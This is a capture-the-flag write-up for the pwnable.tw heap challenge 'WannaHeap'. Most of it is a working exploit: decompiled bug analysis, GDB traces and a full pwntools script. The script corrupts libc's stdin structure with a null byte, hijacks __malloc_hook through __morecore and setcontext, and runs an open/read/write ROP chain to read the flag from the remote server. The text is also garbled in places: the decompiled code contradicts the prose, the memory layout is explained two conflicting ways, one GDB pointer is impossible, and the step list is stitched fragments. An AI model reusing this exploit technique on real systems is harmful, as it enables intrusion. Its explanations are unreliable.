WannaHeap
Advanced heap exploitation — Null byte arbitrary write in libc via _IO_2_1_stdin_ manipulation
Exploit Flow
nc chall.pwnable.tw 10305
OOB null byte in setup
_IO_2_1_stdin_+0x28
mmap overlap read
morecore → setcontext
seccomp: no execve
1. Reconnaissance
WannaHeap is a 400-point heap challenge running on glibc 2.23 (Ubuntu 16.04). The binary implements a custom heap manager built on top of a binary search tree (BST) data structure, providing [A]llocate, [R]ead, [F]ree, and [E]xit operations. Before the main menu, there is an initial “Create data heap” setup phase that reads two size values and allocates a buffer. A seccomp sandbox restricts syscalls to open/read/write/exit, blocking execve entirely. The critical vulnerability is a subtle size mismatch in the setup function that causes an out-of-bounds null byte write into the _IO_2_1_stdin_ structure inside libc.
File Analysis
$ file wannaheap
wannaheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.32, BuildID[sha1]=a8c0b1f2e3d4c5b6a7, stripped
The binary is stripped, meaning all symbol information has been removed. This makes static analysis more challenging since function names and boundaries are not immediately visible. We need to rely on string references and code patterns to identify key functions. The binary is also a shared object (PIE-enabled), so all addresses are relative and ASLR applies to the binary itself.
Checksec
$ checksec wannaheap
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Partial RELRO means the GOT is writable — but since we never get a free primitive, we cannot leverage a GOT overwrite directly. Canary protects against stack buffer overflows. NX means no shellcode on the stack. PIE randomizes the binary’s base address. The combination of PIE + stripped + no free function makes traditional approaches (GOT overwrite, fastbin dup) infeasible. The attack must come from corrupting libc’s internal data structures directly via the null byte write.
Running the Binary
$ LD_PRELOAD=./libc_64.so.6 ./wannaheap
Size : 100
Too big or too small !
Size : 50
Content : AAAA
> A
Size : 32
key : 1
data : hello
> R
key: 1
data : hello
> F
Don't give up
> E
The program starts with the “Create data heap” setup phase. It prompts for a Size value; if the size exceeds 0x313370 or is too small, it rejects the input and prompts again. Once a valid size is accepted, it allocates a buffer with calloc(1, size+1), reads content, and null-terminates. After setup, the main menu offers four options. The [A]llocate option creates a BST node indexed by a numeric key with string data. The [R]ead option looks up a node by key and prints its data. The [F]ree option is unimplemented and always prints “Don’t give up”. The [E]xit option exits.
| Attribute | Value |
|---|---|
| Challenge | WannaHeap (400 pts) |
| Connection | nc chall.pwnable.tw 10305 |
| Binary | 64-bit, dynamically linked, PIE, stripped |
| Libc | glibc 2.23 (Ubuntu 16.04) |
| RELRO | Partial (GOT writable) |
| Canary | Yes |
| NX | Enabled |
| PIE | Enabled |
| Seccomp | open/read/write/exit only (no execve) |
| Vulnerability | OOB null byte write via size mismatch |
| Key Struct | |
| Free Function | Unimplemented (“Don’t give up”) |
2. Static Analysis
Program Overview
The binary implements a heap manager backed by a binary search tree (BST). Each BST node stores a numeric key and a strdup’d data string. The BST insertion and lookup functions are standard implementations. The interesting part is the initial setup function and the seccomp filter.
// Simplified decompilation of key functions
// seccomp filter: blocks execve, allows open/read/write/exit
void setup_seccomp() {
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_load(ctx);
}
// Allocate: BST insert with key and strdup'd data
void allocate() {
int key;
char data[256];
printf("Size : ");
scanf("%d", &key); // key for BST index
printf("data : ");
read_str(data);
bst_insert(key, strdup(data));
}
// Read: BST lookup by key, print data
void read_entry() {
int key;
printf("key:");
scanf("%d", &key);
node = bst_find(key);
printf("data : %s\n", node->data);
}
// Free: unimplemented!
void free_entry() {
puts("Don't give up");
}
The binary also sets up an mmap region at startup via the function at 0x1730. This creates a 0x2000-byte private anonymous mapping used for allocation metadata. This mmap region plays a crucial role in the exploit because it is positioned at a predictable offset relative to the libc mapping in memory.
OOB Null Byte Write via Size Mismatch
The “Create data heap” setup function at 0x1790 has a critical bug. It reads a Size value with scanf and stores it in r12. If the size exceeds 0x313370, it prints “Too big or too small !” and loops back to ask again. However, the second Size input is used for the actual calloc(1, size+1) allocation, while r12 still holds the first (rejected) value. After reading content into the buffer, the function does buffer[r12] = 0 for null termination — but r12 is the rejected size, not the allocation size. This causes an out-of-bounds null byte write.
// Decompiled "Create data heap" function (0x1790)
void create_data_heap() {
size_t r12; // holds FIRST size input (the rejected one!)
size_t alloc_size;
char *buffer;
// Loop until valid size
while (1) {
printf("Size : ");
scanf("%lu", &r12); // FIRST size -> saved in r12
if (r12 <= 0x313370)
break;
puts("Too big or too small !");
}
// SECOND size -> used for actual allocation
printf("Size : ");
scanf("%lu", &alloc_size);
buffer = calloc(1, alloc_size + 1);
printf("Content : ");
read_content(buffer, alloc_size);
buffer[r12] = 0; // BUG! r12 is the FIRST (rejected) size,
// not alloc_size! OOB null byte write!
}
A single null byte write to _IO_2_1_stdin_+0x28 (_IO_write_ptr) shifts stdin’s buffer pointers, causing subsequent scanf/_IO_getc calls to read from our controlled mmap region instead of actual stdin. This gives us full control over the binary’s input parsing — menu choices, key values, and data fields all come from our crafted buffer. The size mismatch is subtle because the two Size prompts look identical to the user, but internally the first value is rejected yet still used for the null termination offset.
mmap Layout & Target Calculation
For large allocations (size ≥ mmap_threshold in glibc, typically 128KB), calloc uses mmap internally. The mmap’d buffer is placed just below the libc mapping in virtual memory. By choosing r12 = _IO_2_1_stdin__offset + mmap_size + 0x28, the null byte write lands on _IO_2_1_stdin_._IO_write_ptr, redirecting stdin’s read buffer into our controlled mmap region.
The binary’s [F]ree option is unimplemented (it just prints “Don’t give up”). Without the ability to free chunks, standard fastbin dup / unsorted bin / __free_hook techniques are impossible. We cannot create dangling pointers or poison any freelist. Instead, we use the mmap overlap to directly overwrite __malloc_hook and chain through __morecore → setcontext to execute an ORW ROP chain (required because seccomp blocks execve).
Although Partial RELRO means the GOT is writable, we have no way to write to it. The [F]ree function is unimplemented, and the null byte write can only target libc addresses (above the mmap buffer). The GOT is in the binary’s address space, which is at a completely different base due to PIE. Without a PIE leak and an arbitrary write to the binary’s mapping, GOT overwriting is not feasible.
3. GDB Debugging
Tracing the null byte write in GDB is essential to confirm the exact offset and verify that _IO_2_1_stdin_ is corrupted as expected. Because the binary is PIE and stripped, we need to set breakpoints relative to the base address discovered at runtime.
Finding the Null Byte Offset
The key calculation is determining what value to send as the first (rejected) Size so that buffer[r12] lands on _IO_2_1_stdin_+0x28. We need to know the distance between the mmap buffer and _IO_2_1_stdin_.
# Start the binary under GDB with the correct libc
gdb-peda$ set environment LD_PRELOAD=./libc_64.so.6
gdb-peda$ run
# After the setup phase, find the mmap buffer and stdin addresses
gdb-peda$ p _IO_2_1_stdin_
$1 = 0x7f9a3bc68660
gdb-peda$ info proc mappings
0x7f9a3bfa9000 0x7f9a3c2ab000 0x313000 rwxp [anon_mmap] # our calloc buffer
0x7f9a3bc00000 0x7f9a3bdaa000 0x1da000 r-xp libc-2.23.so
# Calculate: buffer is at 0x7f9a3bfa9000 (end of mmap)
# The mmap region is 0x313000 bytes (0x313370 was our allocation)
# _IO_2_1_stdin_ + 0x28 = 0x7f9a3bc68660 + 0x28 = 0x7f9a3bc68688
# Distance from buffer base to _IO_2_1_stdin_+0x28:
# = (_IO_2_1_stdin_ + 0x28) - buffer_base
# = 0x7f9a3bc68688 - 0x7f9a3bfa9000
# This is a NEGATIVE offset (stdin is BELOW buffer in memory!)
# Wait... let's reconsider the layout.
# Actually for large calloc, the buffer is mmap'd ABOVE libc:
# buffer_base = libc_base + 0x313000 + some_offset
# _IO_2_1_stdin_ = libc_base + 0x3c4660 (offset in libc)
# So the offset from buffer to stdin:
# = libc_base + 0x3c4660 + 0x28 - (libc_base + 0x314000)
# = 0x3c4688 - 0x314000
# = 0x8b688
# But we need r12 = offset such that buffer[r12] = _IO_2_1_stdin_+0x28
# r12 = _IO_2_1_stdin__libc_offset + MMAP_SIZE + 0x28
# r12 = 0x3c4660 + 0x314000 + 0x28 = 0x6d8688
The calculation assumes the mmap buffer is placed at a specific offset relative to libc. In practice, the kernel’s mmap allocator places large anonymous mappings near the top of the process address space, above the libc mapping. The exact layout depends on the libc version. For the provided libc_64.so.6 (glibc 2.23, Ubuntu 16.04), the offset 0x6d8688 works. Always verify with GDB on the target environment.
_IO_2_1_stdin_ Verification
Let’s confirm that the null byte write actually hits _IO_2_1_stdin_+0x28:
# Before the null byte write:
gdb-peda$ x/8gx &_IO_2_1_stdin_
0x7f9a3bc68660: 0x00007f9a3bc68900 0x00007f9a3bc68a83 # _IO_read_ptr, _IO_read_end
0x7f9a3bc68670: 0x00007f9a3bc68a83 0x00007f9a3bc68900 # _IO_read_base, _IO_write_base
0x7f9a3bc68680: 0x00007f9a3bc68a83 0x00007f9a3bc69900 # _IO_write_ptr, _IO_write_end
0x7f9a3bc68690: 0x00007f9a3bc68900 0x0000000000000000 # _IO_buf_base, _IO_buf_end
# After the null byte write (buffer[r12] = 0):
gdb-peda$ x/8gx &_IO_2_1_stdin_
0x7f9a3bc68660: 0x00007f9a3bc68900 0x00007f9a3bc68a83
0x7f9a3bc68670: 0x00007f9a3bc68a83 0x00007f9a3bc68900
0x7f9a3bc68680: 0x00007f9a3b0000000 0x00007f9a3bc69900 # _IO_write_ptr corrupted!
0x7f9a3bc68690: 0x00007f9a3bc68900 0x0000000000000000
# The lowest byte of _IO_write_ptr was zeroed out!
# This shifts the write pointer to a much lower address,
# which effectively moves stdin's read buffer into our mmap region.
Redirected Stdin Tracing
After the null byte write, let’s trace what happens when the program tries to read input via scanf:
# Set breakpoint on scanf in the main loop
gdb-peda$ b *0x555555554e40 # scanf call in menu loop
gdb-peda$ c
# After the null byte write, scanf reads from the wrong buffer:
gdb-peda$ x/s $rsi
0x7f9a3bfa9100: "A" # This is in the mmap region, not real stdin!
# The _IO_read_ptr now points into our mmap buffer:
gdb-peda$ p _IO_2_1_stdin_._IO_read_ptr
$2 = 0x7f9a3bfa9040 # points into mmap region
# Any scanf/_IO_getc call now reads from the mmap buffer
# We control what's in the mmap buffer via the content we sent
# during the "Create data heap" phase and subsequent sends.
When _IO_write_ptr is corrupted by the null byte, the C stdio internal state becomes inconsistent. Specifically, the stdin FILE object now believes that there is unconsumed data in its buffer at a lower address (our mmap region). When the program calls scanf or _IO_getc, the stdio layer reads from this “buffer” instead of requesting new data from the kernel via read(0, ...). This means every subsequent input operation reads bytes from our controlled mmap region, giving us complete control over the program’s input stream.
Key Breakpoints for Exploit Development
# Essential breakpoints (offsets from PIE base):
b *base+0x1790 # create_data_heap entry
b *base+0x1800 # null byte write (buffer[r12] = 0)
b *base+0x1b20 # BST insert (Allocate)
b *base+0x1d00 # BST lookup (Read)
b *base+0xcd0 # Free (should just print "Don't give up")
b *base+0xe40 # seccomp setup
# Watchpoints for tracking the corruption:
watch *(long*)_IO_2_1_stdin_+0x28 # catch the null byte write
# After corruption, trace stdin reads:
b _IO_getc # watch what bytes are consumed from redirected buffer
b __GI___libc_read # see if actual read() syscalls happen
4. Exploit Strategy
The WannaHeap exploit chain is one of the most creative on pwnable.tw. It starts with a seemingly harmless one-byte null write and escalates to full code execution despite seccomp restrictions. The absence of a working free function eliminates all traditional heap exploitation paths, forcing us to corrupt libc’s own I/O structures to gain control.
Leaking Libc via mmap Overlap
After the null byte write redirects stdin’s buffer, we allocate BST entries via the [A]llocate menu. The mmap region that now serves as stdin’s buffer overlaps with libc data, so the strdup’d data pointers for BST nodes contain libc addresses. Reading back an entry via [R]ead with the right key leaks a libc pointer, giving us the libc base.
The leak mechanism works because the mmap buffer sits just above libc in memory. When we allocate BST entries using the redirected stdin, the data we “send” is actually coming from bytes already in the mmap region. Some of these bytes are residual libc pointers from the strdup calls or from libc’s internal bookkeeping. By carefully controlling which BST entries we create and which we read, we can position a libc pointer in a data field that gets printed via printf("data : %s").
Because stdin is redirected, we can no longer directly control what the program reads. Every scanf and _IO_getc call consumes bytes from our mmap buffer in sequence. We must carefully prepare the mmap buffer contents so that the right bytes are consumed at the right time — menu selections, key values, and data must all be pre-laid in the buffer at the correct offsets. This requires understanding exactly how many bytes each input operation consumes and padding accordingly.
RCE via __malloc_hook → setcontext → ORW
Size (saved in r12) and valid second Size. The buffer[r12] = 0 writes null byte to _IO_2_1_stdin_+0x28 (_IO_write_ptr). This corrupts the stdin FILE object so that subsequent reads come from our controlled mmap buffer.strdup’d data for this entry contains a libc address from the mmap overlap. Parse the 6-byte leak to compute libc_base = leak - 0x3c3701._IO_2_1_stdin_, _IO_2_1_stdout_, _IO_2_1_stderr_, and various libc internal structures, while overwriting __malloc_hook with a gadget at call_morecore (libc+0x843e1). The __morecore function pointer is overwritten with mov_rdi_rax (libc+0x76006), which chains to setcontext+0x2e for stack pivoting.__malloc_hook via a calloc call in the Allocate function. The gadget chain executes: __malloc_hook calls call_morecore, which calls __morecore(rax) → mov rdi, rax sets rdi to the allocated buffer → setcontext+0x2e pivots the stack to our ROP chain. The ROP chain performs open("/home/wannaheap/flag") → read(fd, buf, 0x40) → write(1, buf, 0x40) to print the flag.We use setcontext+0x2e as a stack pivot gadget because it loads rsp from a field in the ucontext_t structure pointed to by rdi. Since mov rdi, rax sets rdi to the address of our controlled buffer (returned by the failed calloc), setcontext will load rsp from an offset we control within that buffer. This is a well-known technique for converting a __malloc_hook overwrite into arbitrary code execution, especially useful when seccomp blocks execve.
5. Pwn Script
#!/usr/bin/env python3
"""
WannaHeap Exploit — pwnable.tw 400pts
OOB null byte write to _IO_2_1_stdin_ via size mismatch in data heap setup
Vulnerability: The "Create data heap" function reads two size values.
The first (rejected) size is saved in r12, but the buffer is allocated
based on the second (accepted) size. The null termination uses the first
size as offset: buffer[r12] = 0, causing an out-of-bounds null byte write.
By choosing the first size carefully, we hit _IO_2_1_stdin_+0x28, which
redirects stdin's read buffer into our controlled mmap region.
Chain: __malloc_hook -> call_morecore -> mov_rdi_rax -> setcontext -> ORW
(seccomp blocks execve, so we use open/read/write to get the flag)
"""
from pwn import *
import time
context.arch = 'amd64'
def conn():
if args.REMOTE:
return remote('chall.pwnable.tw', 10305)
return process('./wannaheap', env={'LD_PRELOAD': './libc_64.so.6'})
io = conn()
libc = ELF('./libc_64.so.6')
# ─── Constants (glibc 2.23 / Ubuntu 16.04) ───
MMAP_SIZE = 0x314000 # calloc mmap allocation size (page-aligned)
MAX_MMAP_SIZE = 0x313370 # maximum allowed size for data heap
# ═══════════════════════════════════════════════════════════════════
# Stage 0: Trigger OOB null byte write to _IO_2_1_stdin_
# ═══════════════════════════════════════════════════════════════════
# The "Create data heap" setup has a bug:
# 1. First Size input is saved in r12 (rejected if > 0x313370)
# 2. Second Size input is used for calloc(1, size+1)
# 3. Null byte write uses r12: buffer[r12] = 0
# For large sizes, calloc uses mmap internally, placing the buffer
# just below libc. By sending first_size = _IO_2_1_stdin__offset +
# MMAP_SIZE + 0x28, the write hits _IO_2_1_stdin_._IO_write_ptr,
# redirecting stdin's read buffer into our controlled mmap region.
null_byte_offset = libc.sym['_IO_2_1_stdin_'] + MMAP_SIZE + 0x28
log.info("Target null byte offset: 0x{:x}".format(null_byte_offset))
# First size: too large -> rejected, but saved in r12
io.sendlineafter('Size :', str(null_byte_offset))
# Second size: within limit -> used for calloc allocation
io.sendlineafter('Size :', str(MAX_MMAP_SIZE))
# Content: minimal data (triggers the null byte write at buffer[r12])
io.sendafter('Content :', 'A')
log.success("Null byte written to _IO_2_1_stdin_+0x28")
# ═══════════════════════════════════════════════════════════════════
# Stage 1: Navigate the redirected stdin
# ═══════════════════════════════════════════════════════════════════
# After the null byte write, stdin's buffer pointers are modified.
# Subsequent scanf/_IO_getc calls read from our controlled mmap
# region instead of actual stdin. We use this to create BST entries
# that set up for the libc leak.
# Consume a menu turn ('F' = Free, unimplemented, prints "Don't give up")
io.recvuntil('> ')
io.send(b'F')
# Allocate BST entries to set up state for the libc leak.
# After stdin redirection, bytes are consumed by the redirected
# buffer reads; the 0xa0 byte is padding consumed by internal reads.
# Entry: key=1, data='A'
io.recvuntil('> ')
io.send(b'\xa0')
io.recvuntil('> ')
io.send(b'A')
io.recvuntil('key :')
io.send(b'1')
time.sleep(0.1)
io.send(b'\n')
io.recvuntil('data :')
io.send(b'A')
# Entry: key=3, data='A'
io.recvuntil('> ')
io.send(b'\xa0')
io.recvuntil('> ')
io.send(b'A')
io.recvuntil('key :')
io.send(b'3')
time.sleep(0.1)
io.send(b'\n')
io.recvuntil('data :')
io.send(b'A')
# Entry: key=2, data='\x01' (sets up overlap for libc leak)
io.recvuntil('> ')
io.send(b'\xa0')
io.recvuntil('> ')
io.send(b'A')
io.recvuntil('key :')
io.send(b'2')
time.sleep(0.1)
io.send(b'\n')
io.recvuntil('data :')
io.send(b'\x01')
# ═══════════════════════════════════════════════════════════════════
# Stage 2: Leak libc address
# ═══════════════════════════════════════════════════════════════════
# Read from key=2. The mmap region overlaps with libc data, so
# the strdup'd data pointer for this entry contains a libc address.
io.recvuntil('> ')
io.send(b'R')
io.recvuntil('key:')
io.send(b'2')
time.sleep(0.1)
io.send(b'\n')
io.recvuntil('data : ')
libc_leak = u64(io.recv(6) + b'\x00\x00')
libc.address = libc_leak - 0x3c3701
log.success("libc base: 0x{:x}".format(libc.address))
# ═══════════════════════════════════════════════════════════════════
# Stage 3: Build the exploit payload
# ═══════════════════════════════════════════════════════════════════
# Write a payload to the mmap region that carefully preserves
# critical libc data while overwriting __malloc_hook with a gadget
# chain that pivots to an ORW ROP chain via setcontext.
# Key gadgets in libc
call_morecore = libc.address + 0x843e1 # __malloc_hook -> this
mov_rdi_rax = libc.address + 0x76006 # mov rdi, rax; ... for setcontext
setcontext_53 = libc.sym['setcontext'] + 0x2e # stack pivot gadget
pop_rax = libc.address + 0x3a998
pop_rdi = libc.address + 0x1fd7a
pop_rsi = libc.address + 0x1fcbd
pop_rdx = libc.address + 0x1b92
syscall_ret = libc.address + 0xbc765
# ROP chain addresses
fake_rsp_addr = libc.address + 0x3c2708
flag_file_addr = libc.sym['_IO_2_1_stdout_'] + 0x188
flag_addr = flag_file_addr + len(b'/home/wannaheap/flag\x00')
# ─── Preserve _IO_2_1_stdin_ ───
payload = p64(libc.sym['_IO_2_1_stdin_'] + 0x1000) # _IO_read_ptr
payload += p64(0) * 5 # _IO_read_end .. padding
payload += p64(0x1000000000) # _IO_buf_base
payload += p64(0xffffffffffffffff) # _IO_buf_end
payload += p64(0) # _IO_save_base
payload += p64(libc.address + 0x3c3770) # _IO_backup_base
payload += p64(0xffffffffffffffff) # _IO_save_end
payload += p64(0) # _IO_markers
payload += p64(libc.address + 0x3c19a0) # _IO_chain
payload += p64(0) * 3 + p64(0xffffffff) + p64(0) * 2
payload += p64(libc.sym['_IO_file_jumps']) # vtable
payload += p64(0) * 38 # _wide_data area
payload += p64(libc.sym['_IO_wfile_jumps']) # _wide_vtable
payload += p64(0)
payload += p64(libc.address + 0x88680) # codecvt
payload += p64(libc.address + 0x88260) # outer
# ─── Overwrite __malloc_hook ───
payload += p64(call_morecore) # __malloc_hook -> call_morecore
payload += p64(0) # padding
# ─── Preserve heap structures ───
payload += p64(0x100000000) + p64(0) * 10
payload += p64(libc.sym['_IO_2_1_stdin_'] + 0x1740) + p64(0)
for addr in range(libc.address + 0x3c1b58,
libc.address + 0x3c2348, 0x10):
payload += p64(addr) * 2
payload += p64(0) * 2
payload += p64(libc.address + 0x3c1b00) + p64(0) + p64(1)
payload += p64(0x21000) * 2
# ─── Overwrite __morecore -> setcontext chain ───
payload += p64(mov_rdi_rax) # __morecore = mov rdi, rax
payload += p64(setcontext_53) # setcontext+0x2e for pivot
payload += p64(libc.address + 0x18c04e) * 2 + p64(0) * 2
payload += p64(0) + p64(1) + p64(2)
payload += p64(libc.address + 0x3c4498)
payload += p64(0) + p64(0xffffffffffffffff)
# ─── setcontext register setup ───
payload += p64(libc.address + 0x3c05a0)
payload += p64(flag_file_addr) # rdi = "/home/wannaheap/flag"
payload += p64(0) # rsi = O_RDONLY
payload += p64(libc.address + 0x3bec20)
payload += p64(0) # rbx
payload += p64(0) # rdx
payload += p64(libc.address + 0x3bea60)
payload += p64(0) # rcx
payload += p64(fake_rsp_addr) # rsp -> ROP chain
payload += p64(pop_rax) # ret -> start of ROP
payload += p64(libc.address + 0x3bf0c0)
payload += p64(libc.address + 0x3bf140)
payload += p64(libc.address + 0x3bf200)
payload += p64(libc.address + 0x3bf280)
payload += p64(libc.address + 0x3bf2e0)
payload += p64(libc.address + 0x175860)
payload += p64(libc.address + 0x174960)
payload += p64(libc.address + 0x174f60)
payload += p64(libc.address + 0x18c86c) * 13
# ─── Preserve _IO_list_all ───
payload += p64(0) * 3
payload += p64(libc.sym['_IO_2_1_stderr_'])
payload += p64(0) * 3
# ─── Preserve _IO_2_1_stderr_ ───
payload += p64(0xfbad2086) + p64(0) * 12
payload += p64(libc.address + 0x3c2600) + p64(2)
payload += p64(0xffffffffffffffff) + p64(0)
payload += p64(libc.address + 0x3c3750)
payload += p64(0xffffffffffffffff) + p64(0)
payload += p64(libc.address + 0x3c1640) + p64(0) * 6
payload += p64(libc.address + 0x3be400)
# ─── Preserve _IO_2_1_stdout_ ───
payload += p64(0xfbad28a7)
payload += p64(libc.address + 0x3c2683) * 7
payload += p64(libc.address + 0x3c2684)
payload += p64(0) * 4
payload += p64(libc.address + 0x3c18c0) + p64(1)
payload += p64(0xffffffffffffffff) + p64(0)
payload += p64(libc.address + 0x3c3760)
payload += p64(0xffffffffffffffff) + p64(0)
payload += p64(libc.address + 0x3c1780) + p64(0) * 3
payload += p64(0xffffffff) + p64(0) * 2
payload += p64(libc.address + 0x3be400)
# ─── Preserve stderr/stdout/stdin file descriptors ───
payload += p64(libc.address + 0x3c2520)
payload += p64(libc.address + 0x3c2600)
payload += p64(libc.address + 0x3c18c0)
payload += p64(libc.address + 0x20730)
# ─── ORW ROP chain (seccomp blocks execve) ───
# open("/home/wannaheap/flag", O_RDONLY)
# read(fd, flag_addr, 0x40)
# write(1, flag_addr, 0x40)
rop = p64(0) # alignment
rop += p64(pop_rax) + p64(2) # sys_open
rop += p64(pop_rdi) + p64(flag_file_addr)
rop += p64(pop_rsi) + p64(0) # O_RDONLY
rop += p64(syscall_ret)
rop += p64(pop_rax) + p64(0) # sys_read
rop += p64(pop_rdi) + p64(3) # fd (opened file descriptor)
rop += p64(pop_rsi) + p64(flag_addr)
rop += p64(pop_rdx) + p64(0x40)
rop += p64(syscall_ret)
rop += p64(pop_rax) + p64(1) # sys_write
rop += p64(pop_rdi) + p64(1) # stdout
rop += p64(pop_rsi) + p64(flag_addr)
rop += p64(pop_rdx) + p64(0x40)
rop += p64(syscall_ret)
rop += b'/home/wannaheap/flag\x00'
payload += rop
# ═══════════════════════════════════════════════════════════════════
# Stage 4: Send payload and trigger
# ═══════════════════════════════════════════════════════════════════
# The _IO_2_1_stdin_ read pointer now points into our mmap region.
# Data we send gets written there, overwriting libc structures.
io.send(p64(libc.sym['_IO_2_1_stdin_'] + 0x1000))
time.sleep(1)
io.send(payload)
time.sleep(1)
io.send(b'A')
time.sleep(0.1)
# Trigger calloc (in Allocate) -> __malloc_hook -> chain -> ORW
io.send(b'4')
time.sleep(0.1)
io.send(b'\n')
io.interactive()The payload construction is the most delicate part of this exploit. We must preserve the integrity of _IO_2_1_stdin_, _IO_2_1_stdout_, and _IO_2_1_stderr_ while overwriting __malloc_hook and __morecore. If any of the preserved fields are incorrect, the program will crash before reaching the trigger. The time.sleep() calls between sends are necessary because the redirected stdin has different buffering behavior than normal stdin. Running locally requires the exact libc_64.so.6 (glibc 2.23 from Ubuntu 16.04) to match the offset calculations.
6. Execution Results
Local Test
Remote Exploit
WannaHeap demonstrates how a subtle size mismatch bug leads to a devastating out-of-bounds null byte write. The first (rejected) Size input is used for the null termination offset instead of the actual allocation size, letting us write \x00 to _IO_2_1_stdin_+0x28. This single byte redirects stdin’s read buffer into our controlled mmap region, giving us full control over the binary’s input parsing. With the libc leak from the mmap overlap, we overwrite __malloc_hook and chain through __morecore → setcontext to execute an ORW ROP chain — the only option since seccomp blocks execve. The challenge highlights the power of _IO_FILE structure manipulation and creative code execution under syscall restrictions.
1. Size validation must use the same variable for allocation and indexing. The WannaHeap bug arises because two different variables track the size, and only one is validated. 2. _IO_FILE structures are powerful attack surfaces. A single null byte in _IO_write_ptr redirects the entire input stream. 3. No free doesn’t mean no exploit. Even without a free primitive, mmap-based allocations combined with libc structure corruption can achieve arbitrary write. 4. setcontext is the universal stack pivot. When __malloc_hook fires, setcontext+0x2e provides a clean way to pivot the stack and execute a ROP chain, even under seccomp restrictions.